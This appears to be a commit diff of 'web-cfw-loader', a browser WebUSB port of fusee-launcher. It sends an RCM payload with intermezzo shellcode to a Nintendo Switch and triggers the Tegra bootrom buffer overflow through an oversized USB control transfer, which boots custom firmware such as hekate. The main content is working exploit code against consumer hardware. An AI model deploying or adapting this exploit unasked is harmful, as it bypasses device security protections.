||||||
const smash = await device.controlTransferIn({
|
await device.claimInterface(0);
|
||||||
requestType: 'standard',
|
|
||||||
recipient: 'interface',
|
const deviceID = await device.transferIn(1, 16);
|
||||||
request: 0x00,
|
logOutput(`Device ID: ${bufferToHex(deviceID.data)}`);
|
||||||
value: 0x00,
|
|
||||||
index: 0x00
|
const rcmPayload = createRCMPayload(intermezzo, payload);
|
||||||
}, vulnerabilityLength);
|
logOutput("Sending payload...");
|
||||||
}
|
const writeCount = await write(device, rcmPayload);
|
||||||
|
logOutput("Payload sent!");
|
||||||
document.getElementById("goButton").addEventListener("click", async () => {
|
|
||||||
clearLog();
|
if (writeCount % 2 !== 1) {
|
||||||
var debugCheckbox = document.getElementById("shouldDebug");
|
logOutput("Switching to higher buffer...");
|
||||||
const payloadType = document.forms.mainForm.payload.value;
|
await device.transferOut(1, new ArrayBuffer(0x1000));
|
||||||
if(debugCheckbox.checked) {
|
}
|
||||||
logOutput("Logging payload bytes...");
|
|
||||||
let payload;
|
logOutput("Trigging vulnerability...");
|
||||||
if (payloadType === "hekate v5") {
|
const vulnerabilityLength = 0x7000;
|
||||||
payload = hekate5;
|
const smash = await device.controlTransferIn({
|
||||||
} else if (payloadType === "hekate v4") {
|
requestType: 'standard',
|
||||||
payload = hekate4;
|
recipient: 'interface',
|
||||||
} else if (payloadType === "fusee") {
|
request: 0x00,
|
||||||
payload = fusee;
|
value: 0x00,
|
||||||
} else if (payloadType === "instaboot") {
|
index: 0x00
|
||||||
payload = instaboot;
|
}, vulnerabilityLength);
|
||||||
} else if (payloadType === "uploaded") {
|
}
|
||||||
const file = document.getElementById("payloadUpload").files[0];
|
|
||||||
if (!file) {
|
|
||||||
alert("You need to upload a file, to use an uploaded file.");
|
|
||||||
return;
|
document.getElementById("goButton").addEventListener("click", async () => {
|
||||||
}
|
clearLog();
|
||||||
payload = new Uint8Array(await readFileAsArrayBuffer(file));
|
var debugCheckbox = document.getElementById("shouldDebug");
|
||||||
} else {
|
const payloadType = document.getElementById("payloadSelect").value;
|
||||||
logOutput("You're trying to load a payload type that doesn't exist.");
|
|
||||||
return;
|
let payload;
|
||||||
}
|
if (payloadType === "hekate v5") {
|
||||||
var payloadToLog = "";
|
payload = hekate5;
|
||||||
for (var i = 0; i < payload.length; i++) {
|
|
||||||
payloadToLog += "0x" + payload[i].toString(16) + ", ".toUpperCase();
|
} else if (payloadType === "hekate v4") {
|
||||||
}
|
payload = hekate4;
|
||||||
payloadToLog = payloadToLog.toUpperCase();
|
|
||||||
logOutput(payloadToLog);
|
} else if (payloadType === "fusee") {
|
||||||
return;
|
payload = fusee;
|
||||||
}
|
|
||||||
logOutput("Requesting access to device...");
|
} else if (payloadType === "instaboot") {
|
||||||
device = await navigator.usb.requestDevice({ filters: [{ vendorId: 0x0955 }] });
|
payload = instaboot;
|
||||||
|
|
||||||
logOutput(`<span style='color:blue'>Preparing to launch ${payloadType}...</span>`);
|
} else if (payloadType === "uploaded") {
|
||||||
|
const file = document.getElementById("payloadUpload").files[0];
|
||||||
let payload;
|
if (!file) {
|
||||||
if (payloadType === "hekate v5") {
|
alert("You need to upload a file, to use an uploaded file.");
|
||||||
payload = hekate5;
|
return;
|
||||||
} else if (payloadType === "hekate v4") {
|
}
|
||||||
payload = hekate4;
|
payload = new Uint8Array(await readFileAsArrayBuffer(file));
|
||||||
} else if (payloadType === "fusee") {
|
} else {
|
||||||
payload = fusee;
|
logOutput("<span style='color:red'>You're trying to load a payload type that doesn't exist.</span>");
|
||||||
} else if (payloadType === "instaboot") {
|
return;
|
||||||
payload = instaboot;
|
}
|
||||||
} else if (payloadType === "uploaded") {
|
|
||||||
const file = document.getElementById("payloadUpload").files[0];
|
if(debugCheckbox.checked) {
|
||||||
if (!file) {
|
logOutput("Logging payload bytes...");
|
||||||
alert("You need to upload a file, to use an uploaded file.");
|
|
||||||
return;
|
var payloadToLog = "";
|
||||||
}
|
for (var i = 0; i < payload.length; i++) {
|
||||||
payload = new Uint8Array(await readFileAsArrayBuffer(file));
|
payloadToLog += "0x" + payload[i].toString(16) + ", ".toUpperCase();
|
||||||
} else {
|
}
|
||||||
logOutput("<p style='color:red'>You're trying to load a payload type that doesn't exist.</p>");
|
payloadToLog = payloadToLog.toUpperCase();
|
||||||
return;
|
logOutput(payloadToLog);
|
||||||
}
|
return;
|
||||||
|
}
|
||||||
launchPayload(payload);
|
|
||||||
});
|
logOutput("Requesting access to device...");
|
||||||
|
device = await navigator.usb.requestDevice({ filters: [{ vendorId: 0x0955 }] });
|
||||||
function openInfo() {
|
|
||||||
if(document.getElementById("infodiv").innerHTML != "") {
|
logOutput(`<span style='color:blue'>Preparing to launch ${payloadType}...</span>`);
|
||||||
document.getElementById("infodiv").innerHTML = "";
|
launchPayload(payload);
|
||||||
} else {
|
});
|
||||||
document.getElementById("infodiv").innerHTML = "<h4>Info:</h4><p>Questo è stato moderatamente testato. Anche se nessun problema è stato riportato, non sono responsabile in caso di brick!</p><p>Questo non funziona in Windows per la implementazione scorretta di WinUSB di Chrome(E probabilmente altre ragioni)!</p><p>Questo non funziona attualmente su nessun browser ma Chrome perchè è l'unico con WinUSB.</p><p>Su Linux, potresti ottenere un errore Access Denied! Se succede, potresti provare a creare un file a <code>/etc/udev/rules.d/50-switch.rules</code>Con i seguenti contenuti:<br><code>SUBSYSTEM==\"usb\", ATTR{idVendor}==\"0955\", MODE=\"0664\", GROUP=\"plugdev\"</code></p><p>Hekate 4.x non è stato testato visto che non ho una Switch 4.x. Tuttavia, tutti gli altri payload verranno testati al momento dell'aggiunta.</p><p>Questo è stato testato e funziona su Linux, OSX, Android (no root) and Chromebooks. Risultati potrebbero variare.</p>";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
function onSelectChange() {
|
||||||
function openInstructions() {
|
if (document.getElementById("payloadSelect").value === "uploaded")
|
||||||
if(document.getElementById("infodiv").innerHTML != "") {
|
document.getElementById("uploadContainer").style.display = "block"
|
||||||
document.getElementById("infodiv").innerHTML = "";
|
else
|
||||||
} else {
|
document.getElementById("uploadContainer").style.display = "none"
|
||||||
document.getElementById("infodiv").innerHTML = "<h4>Istruzioni:</h4><p>Metti lo Switch in RCM e collega il dispositivo</p><p>Scegli il payload di esempio o caricane uno.</p><p>Pemi 'Avvia payload!'</p><p>Nello schermo di conferma, scegli 'APX' ae premi conferma.</p><p>Se tutto funziona il payload si avvierà!</p>";
|
}
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
document.getElementById("payloadUpload").addEventListener("change", () => document.forms.mainForm.payload.value = "uploaded");
|
function openInfo() {
|
||||||
|
if(document.getElementById("infodiv").innerHTML != "") {
|
||||||
|
document.getElementById("infodiv").innerHTML = "";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
function openInstructions() {
|
||||||
|
if(document.getElementById("infodiv").innerHTML != "") {
|
||||||
|
document.getElementById("infodiv").innerHTML = "";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
document.getElementById("payloadUpload").addEventListener("change", () => document.forms.mainForm.payload.value = "uploaded");
|
||||||
|
|
|
@ -4,7 +4,6 @@ body {
|
||||||
margin-top: 0px;
|
margin-top: 0px;
|
||||||
margin-left: 0px;
|
margin-left: 0px;
|
||||||
margin-right: auto;
|
margin-right: auto;
|
||||||
text-align: center;
|
|
||||||
font-family: 'Open Sans', sans-serif;
|
font-family: 'Open Sans', sans-serif;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -17,44 +16,30 @@ body {
|
||||||
background-color: black;
|
background-color: black;
|
||||||
background-image: url("https://icdn1.digitaltrends.com/image/nintendo-switch-review-photos-pdx-580.jpg");
|
background-image: url("https://icdn1.digitaltrends.com/image/nintendo-switch-review-photos-pdx-580.jpg");
|
||||||
color: white;
|
color: white;
|
||||||
width: 100%;
|
|
||||||
margin-top: 0px;
|
margin-top: 0px;
|
||||||
top: 0px;
|
top: 0px;
|
||||||
}
|
}
|
||||||
|
|
||||||
#output {
|
#output {
|
||||||
margin-left: 0px;
|
|
||||||
width: 700px;
|
|
||||||
height: 200px;
|
height: 200px;
|
||||||
border: 1px solid black;
|
border: 1px solid black;
|
||||||
margin-right: 0px;
|
|
||||||
margin: auto;
|
|
||||||
overflow: scroll;
|
overflow: scroll;
|
||||||
}
|
}
|
||||||
|
|
||||||
.btn {
|
#page-footer {
|
||||||
background: #3498db;
|
padding: 32px;
|
||||||
background-image: -webkit-linear-gradient(top, #3498db, #2980b9);
|
background: #222528;
|
||||||
background-image: -moz-linear-gradient(top, #3498db, #2980b9);
|
color: whitesmoke;
|
||||||
background-image: -ms-linear-gradient(top, #3498db, #2980b9);
|
|
||||||
background-image: -o-linear-gradient(top, #3498db, #2980b9);
|
|
||||||
background-image: linear-gradient(to bottom, #3498db, #2980b9);
|
|
||||||
-webkit-border-radius: 12;
|
|
||||||
-moz-border-radius: 12;
|
|
||||||
border-radius: 12px;
|
|
||||||
font-family: Arial;
|
|
||||||
color: #ffffff;
|
|
||||||
font-size: 23px;
|
|
||||||
padding: 12px 20px 10px 20px;
|
|
||||||
text-decoration: none;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
.btn:hover {
|
#disclaimer {
|
||||||
background: #3cb0fd;
|
text-align: center;
|
||||||
background-image: -webkit-linear-gradient(top, #3cb0fd, #3498db);
|
}
|
||||||
background-image: -moz-linear-gradient(top, #3cb0fd, #3498db);
|
|
||||||
background-image: -ms-linear-gradient(top, #3cb0fd, #3498db);
|
.divider-line {
|
||||||
background-image: -o-linear-gradient(top, #3cb0fd, #3498db);
|
border-bottom: 1px solid gainsboro;
|
||||||
background-image: linear-gradient(to bottom, #3cb0fd, #3498db);
|
}
|
||||||
text-decoration: none;
|
|
||||||
|
.margin-top-md {
|
||||||
|
margin-top: 24px;
|
||||||
}
|
}
|
||||||
|
|
101
main.js
101
main.js
|
@ -7,10 +7,14 @@ const intermezzo = new Uint8Array([
|
||||||
0x5C, 0xF0, 0x01, 0x40, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x01, 0x40
|
0x5C, 0xF0, 0x01, 0x40, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x01, 0x40
|
||||||
]);
|
]);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
const RCM_PAYLOAD_ADDRESS = 0x40010000;
|
const RCM_PAYLOAD_ADDRESS = 0x40010000;
|
||||||
const INTERMEZZO_LOCATION = 0x4001F000;
|
const INTERMEZZO_LOCATION = 0x4001F000;
|
||||||
const PAYLOAD_LOAD_BLOCK = 0x40020000;
|
const PAYLOAD_LOAD_BLOCK = 0x40020000;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
function createRCMPayload(intermezzo, payload) {
|
function createRCMPayload(intermezzo, payload) {
|
||||||
const rcmLength = 0x30298;
|
const rcmLength = 0x30298;
|
||||||
|
|
||||||
|
@ -33,6 +37,8 @@ function createRCMPayload(intermezzo, payload) {
|
||||||
return rcmPayload;
|
return rcmPayload;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
function bufferToHex(data) {
|
function bufferToHex(data) {
|
||||||
let result = "";
|
let result = "";
|
||||||
for (let i = 0; i < data.byteLength; i++)
|
for (let i = 0; i < data.byteLength; i++)
|
||||||
|
@ -40,6 +46,8 @@ function bufferToHex(data) {
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
async function write(device, data) {
|
async function write(device, data) {
|
||||||
let length = data.length;
|
let length = data.length;
|
||||||
let writeCount = 0;
|
let writeCount = 0;
|
||||||
|
@ -58,6 +66,8 @@ async function write(device, data) {
|
||||||
return writeCount;
|
return writeCount;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
function readFileAsArrayBuffer(file) {
|
function readFileAsArrayBuffer(file) {
|
||||||
return new Promise((res, rej) => {
|
return new Promise((res, rej) => {
|
||||||
const reader = new FileReader();
|
const reader = new FileReader();
|
||||||
|
@ -68,16 +78,24 @@ function readFileAsArrayBuffer(file) {
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
function logOutput(...message) {
|
function logOutput(...message) {
|
||||||
document.getElementById("output").innerHTML = document.getElementById("output").innerHTML + message.join(" ") + "<br>";
|
document.getElementById("output").innerHTML = document.getElementById("output").innerHTML + message.join(" ") + "<br>";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
function clearLog() {
|
function clearLog() {
|
||||||
document.getElementById("output").innerHTML = "";
|
document.getElementById("output").innerHTML = "";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
let device;
|
let device;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
async function launchPayload(payload) {
|
async function launchPayload(payload) {
|
||||||
await device.open();
|
await device.open();
|
||||||
logOutput(`Connected to ${device.manufacturerName} ${device.productName}`);
|
logOutput(`Connected to ${device.manufacturerName} ${device.productName}`);
|
||||||
|
@ -87,7 +105,6 @@ async function launchPayload(payload) {
|
||||||
const deviceID = await device.transferIn(1, 16);
|
const deviceID = await device.transferIn(1, 16);
|
||||||
logOutput(`Device ID: ${bufferToHex(deviceID.data)}`);
|
logOutput(`Device ID: ${bufferToHex(deviceID.data)}`);
|
||||||
|
|
||||||
|
|
||||||
const rcmPayload = createRCMPayload(intermezzo, payload);
|
const rcmPayload = createRCMPayload(intermezzo, payload);
|
||||||
logOutput("Sending payload...");
|
logOutput("Sending payload...");
|
||||||
const writeCount = await write(device, rcmPayload);
|
const writeCount = await write(device, rcmPayload);
|
||||||
|
@ -109,54 +126,26 @@ async function launchPayload(payload) {
|
||||||
}, vulnerabilityLength);
|
}, vulnerabilityLength);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
document.getElementById("goButton").addEventListener("click", async () => {
|
document.getElementById("goButton").addEventListener("click", async () => {
|
||||||
clearLog();
|
clearLog();
|
||||||
var debugCheckbox = document.getElementById("shouldDebug");
|
var debugCheckbox = document.getElementById("shouldDebug");
|
||||||
const payloadType = document.forms.mainForm.payload.value;
|
const payloadType = document.getElementById("payloadSelect").value;
|
||||||
if(debugCheckbox.checked) {
|
|
||||||
logOutput("Logging payload bytes...");
|
|
||||||
let payload;
|
|
||||||
if (payloadType === "hekate v5") {
|
|
||||||
payload = hekate5;
|
|
||||||
} else if (payloadType === "hekate v4") {
|
|
||||||
payload = hekate4;
|
|
||||||
} else if (payloadType === "fusee") {
|
|
||||||
payload = fusee;
|
|
||||||
} else if (payloadType === "instaboot") {
|
|
||||||
payload = instaboot;
|
|
||||||
} else if (payloadType === "uploaded") {
|
|
||||||
const file = document.getElementById("payloadUpload").files[0];
|
|
||||||
if (!file) {
|
|
||||||
alert("You need to upload a file, to use an uploaded file.");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
payload = new Uint8Array(await readFileAsArrayBuffer(file));
|
|
||||||
} else {
|
|
||||||
logOutput("You're trying to load a payload type that doesn't exist.");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
var payloadToLog = "";
|
|
||||||
for (var i = 0; i < payload.length; i++) {
|
|
||||||
payloadToLog += "0x" + payload[i].toString(16) + ", ".toUpperCase();
|
|
||||||
}
|
|
||||||
payloadToLog = payloadToLog.toUpperCase();
|
|
||||||
logOutput(payloadToLog);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
logOutput("Requesting access to device...");
|
|
||||||
device = await navigator.usb.requestDevice({ filters: [{ vendorId: 0x0955 }] });
|
|
||||||
|
|
||||||
logOutput(`<span style='color:blue'>Preparing to launch ${payloadType}...</span>`);
|
|
||||||
|
|
||||||
let payload;
|
let payload;
|
||||||
if (payloadType === "hekate v5") {
|
if (payloadType === "hekate v5") {
|
||||||
payload = hekate5;
|
payload = hekate5;
|
||||||
|
|
||||||
} else if (payloadType === "hekate v4") {
|
} else if (payloadType === "hekate v4") {
|
||||||
payload = hekate4;
|
payload = hekate4;
|
||||||
|
|
||||||
} else if (payloadType === "fusee") {
|
} else if (payloadType === "fusee") {
|
||||||
payload = fusee;
|
payload = fusee;
|
||||||
|
|
||||||
} else if (payloadType === "instaboot") {
|
} else if (payloadType === "instaboot") {
|
||||||
payload = instaboot;
|
payload = instaboot;
|
||||||
|
|
||||||
} else if (payloadType === "uploaded") {
|
} else if (payloadType === "uploaded") {
|
||||||
const file = document.getElementById("payloadUpload").files[0];
|
const file = document.getElementById("payloadUpload").files[0];
|
||||||
if (!file) {
|
if (!file) {
|
||||||
|
@ -169,23 +158,49 @@ document.getElementById("goButton").addEventListener("click", async () => {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if(debugCheckbox.checked) {
|
||||||
|
logOutput("Logging payload bytes...");
|
||||||
|
|
||||||
|
var payloadToLog = "";
|
||||||
|
for (var i = 0; i < payload.length; i++) {
|
||||||
|
payloadToLog += "0x" + payload[i].toString(16) + ", ".toUpperCase();
|
||||||
|
}
|
||||||
|
payloadToLog = payloadToLog.toUpperCase();
|
||||||
|
logOutput(payloadToLog);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
logOutput("Requesting access to device...");
|
||||||
|
device = await navigator.usb.requestDevice({ filters: [{ vendorId: 0x0955 }] });
|
||||||
|
|
||||||
|
logOutput(`<span style='color:blue'>Preparing to launch ${payloadType}...</span>`);
|
||||||
launchPayload(payload);
|
launchPayload(payload);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
function onSelectChange() {
|
||||||
|
if (document.getElementById("payloadSelect").value === "uploaded")
|
||||||
|
document.getElementById("uploadContainer").style.display = "block"
|
||||||
|
else
|
||||||
|
document.getElementById("uploadContainer").style.display = "none"
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
function openInfo() {
|
function openInfo() {
|
||||||
if(document.getElementById("infodiv").innerHTML != "") {
|
if(document.getElementById("infodiv").innerHTML != "") {
|
||||||
document.getElementById("infodiv").innerHTML = "";
|
document.getElementById("infodiv").innerHTML = "";
|
||||||
} else {
|
}
|
||||||
document.getElementById("infodiv").innerHTML = "<h4>Info:</h4><p>This is moderately tested. Although no issues have been discovered, I'm not responsible if anything goes wrong!</p><p>This does NOT work on Windows due to a limitation in the Chrome implementation of WebUSB (and probably other reasons!)</p><p>This does NOT currently work on any browser but Chrome, because they don't implement WebUSB.</p><p>On Linux, you might get an access denied error!If you do, you can try creating a file at <code>/etc/udev/rules.d/50-switch.rules</code>With the following contents:<br><code>SUBSYSTEM==\"usb\", ATTR{idVendor}==\"0955\", MODE=\"0664\", GROUP=\"plugdev\"</code></p><p>Hekate for 4.x has not been tested, as I do not have a 4.x switch. However, all other payloads will be tested as they are uploaded.</p><p>This has been tested and appears to work on Linux, OSX, Android (unrooted) and Chromebooks. Your mileage may vary.</p>";
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
function openInstructions() {
|
function openInstructions() {
|
||||||
if(document.getElementById("infodiv").innerHTML != "") {
|
if(document.getElementById("infodiv").innerHTML != "") {
|
||||||
document.getElementById("infodiv").innerHTML = "";
|
document.getElementById("infodiv").innerHTML = "";
|
||||||
} else {
|
|
||||||
document.getElementById("infodiv").innerHTML = "<h4>Instructions:</h4><p>Put the Switch in RCM, and connect it to your device.</p><p>Select either the example payload, or upload one.</p><p>Press 'Run Payload!'</p><p>On the consent screen that appears, select 'APX' and hit confirm.</p><p>If all goes well, the payload will launch!</p>";
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
document.getElementById("payloadUpload").addEventListener("change", () => document.forms.mainForm.payload.value = "uploaded");
|
document.getElementById("payloadUpload").addEventListener("change", () => document.forms.mainForm.payload.value = "uploaded");
|
||||||
|
|
|
@ -0,0 +1,21 @@
|
||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2018 atlas44
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
|
@ -0,0 +1,11 @@
|
||||||
|
# web-cfw-loader
|
||||||
|
Fusee Launcher, in a browser!
|
||||||
|
|
||||||
|
# Description
|
||||||
|
This is a port of [fusee-launcher](https://github.com/reswitched/fusee-launcher) to JavaScript using WebUSB. This has been mildly tested and appears to work on Linux, Android (unrooted), OSX and ChromeOS. Today, this only works on Chrome because only Chrome implements WebUSB. It also does NOT work on Windows because the WebUSB Windows implementation does not allow sending the required USB packet.
|
||||||
|
|
||||||
|
# Forked
|
||||||
|
This is also a fork of [web-fusee-launcher](https://github.com/atlas44/web-fusee-launcher), which I fixed up a bit, added hekate 5 and 4, and did some CSS stuff.
|
||||||
|
|
||||||
|
# Try it out
|
||||||
|
Either use a web server to host the files (must be on https!) or you can try the [demo](https://elijahzawesome.github.io/web-cfw-loader/).
|
Binary file not shown.
After Width: | Height: | Size: 18 KiB |
|
@ -0,0 +1,156 @@
|
||||||
|
<!doctype html>
|
||||||
|
<html>
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<link rel="stylesheet" type="text/css" href="style.css" />
|
||||||
|
<link href="favicon.png" rel="icon" type="image/x-icon" />
|
||||||
|
<title>Switch Payload Loader v1.2</title>
|
||||||
|
|
||||||
|
<!-- JQuery: needed for some Bootstrap Components -->
|
||||||
|
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
|
||||||
|
|
||||||
|
<!-- Bootstrap 3 framework -->
|
||||||
|
<!-- Latest compiled and minified CSS -->
|
||||||
|
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
|
||||||
|
<!-- Optional theme -->
|
||||||
|
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous">
|
||||||
|
<!-- Latest compiled and minified JavaScript -->
|
||||||
|
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>
|
||||||
|
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body class="container-fluid">
|
||||||
|
<div class="row" id="title">
|
||||||
|
<h1>Nintendo Switch Payload Loader</h1>
|
||||||
|
<h4>Fusee Launcher portado para JavaScript usando WebUSB.</h4>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="row margin-top-md">
|
||||||
|
<div class="col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
|
||||||
|
<div class="btn-group" role="group" aria-label="...">
|
||||||
|
<a class="btn btn-info" href="../index.html">English</a>
|
||||||
|
<a class="btn btn-info" href="../it_IT/index.html">Italiano</a>
|
||||||
|
<a class="btn btn-info disabled" href="#">Português</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="row margin-top-md" id="infodiv">
|
||||||
|
<div class="col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
|
||||||
|
|
||||||
|
<div class="alert alert-danger" role="alert">
|
||||||
|
<p>Esta ferramenta não foi completamente testada. Apesar de não ter encontrado nenhuma falha, não me responsabilizo se algo der errado!</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="alert alert-warning alert-dismissible" role="alert">
|
||||||
|
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||||
|
<p>Isto NÃO funciona no Windows devido uma limitação do Chrome na implementação do WebUSB (e, possivelmente, outros motivos).</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="alert alert-warning alert-dismissible" role="alert">
|
||||||
|
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||||
|
<p>Isto NÃO funciona, atualmente, em nenhum browser além do Chrome, que é o único a implementar WebUSB.</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="alert alert-warning alert-dismissible" role="alert">
|
||||||
|
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||||
|
<p>No Linux você pode receber um erro de Acesso Negado! Caso receba, tente criar o arquivo <code>/etc/udev/rules.d/50-switch.rules</code> com o seguinte conteúdo: <br><code>SUBSYSTEM==\"usb\", ATTR{idVendor}==\"0955\", MODE=\"0664\", GROUP=\"plugdev\"</code></p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="alert alert-warning alert-dismissible" role="alert">
|
||||||
|
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||||
|
<p>Hekate 4.x NÃO foi testado, já que não tenho um Switch na versão 4.x. Entretanto todos os outros payloads serão testados antes de disponibilizados.</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="alert alert-warning alert-dismissible" role="alert">
|
||||||
|
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||||
|
<p>Isto foi testado -e aparentemente funciona- no Linux, OSX, Android (sem precisar de root) e Chromebooks. Resultados podem variar.</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="alert alert-info" role="alert">
|
||||||
|
<h4>Instruções:</h4>
|
||||||
|
<ul>
|
||||||
|
<li>Coloque o Switch no modo RCM e conecte-o ao dispositivo.</li>
|
||||||
|
<li>Escolha um dos payloads disponíveis ou faça upload de um.</li>
|
||||||
|
<li>Clique em "Enviar Payload"!</li>
|
||||||
|
<li>No diálogo de confirmação escolha "APX" e clique em Confirmar</li>
|
||||||
|
<li>Se tudo der certo, o payload executará!</li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="row">
|
||||||
|
<div class="class=col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
|
||||||
|
<h1>Configurar Entrega de Payload</h1>
|
||||||
|
|
||||||
|
<form id="mainForm">
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-xs-6">
|
||||||
|
<h4>Payload:</h4>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="col-xs-6">
|
||||||
|
<select class="pull-right" id="payloadSelect" onchange="onSelectChange()">
|
||||||
|
<option value="instaboot">Execução Instantânea CFW (5.0.x)</option>
|
||||||
|
<option value="hekate v5">Hekate para Switch ver. 5.0.X</option>
|
||||||
|
<option value="hekate v4">Hekate para Switch ver. 4.0.X</option>
|
||||||
|
<option value="fusee">Payload de teste do time (Re)Switched (fusee)</option>
|
||||||
|
<option value="uploaded">Upload de Payload</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="row" id="uploadContainer" style="display: none">
|
||||||
|
<div class="row-xs-12">
|
||||||
|
<input style="float: right" type="file" id="payloadUpload" accept=".bin"/>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row divider-line"></div>
|
||||||
|
|
||||||
|
<div class="row margin-top-md">
|
||||||
|
<div class="col-xs-10">
|
||||||
|
<h4>Recuperar array de bytes do payload (favor não exploitar)</h4>
|
||||||
|
</div>
|
||||||
|
<div class="col-xs-2">
|
||||||
|
<input class="pull-right" type="checkbox" name="shouldDebug" id="shouldDebug">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row divider-line"></div>
|
||||||
|
</form>
|
||||||
|
|
||||||
|
<div class="row margin-top-md">
|
||||||
|
<div class="col-xs-12">
|
||||||
|
<button class="btn btn-primary btn-lg pull-right" id="goButton">Enviar Payload!</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<div class="row">
|
||||||
|
<div class="class=col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
|
||||||
|
<h3>Log:</h3>
|
||||||
|
<div id="output"></div>
|
||||||
|
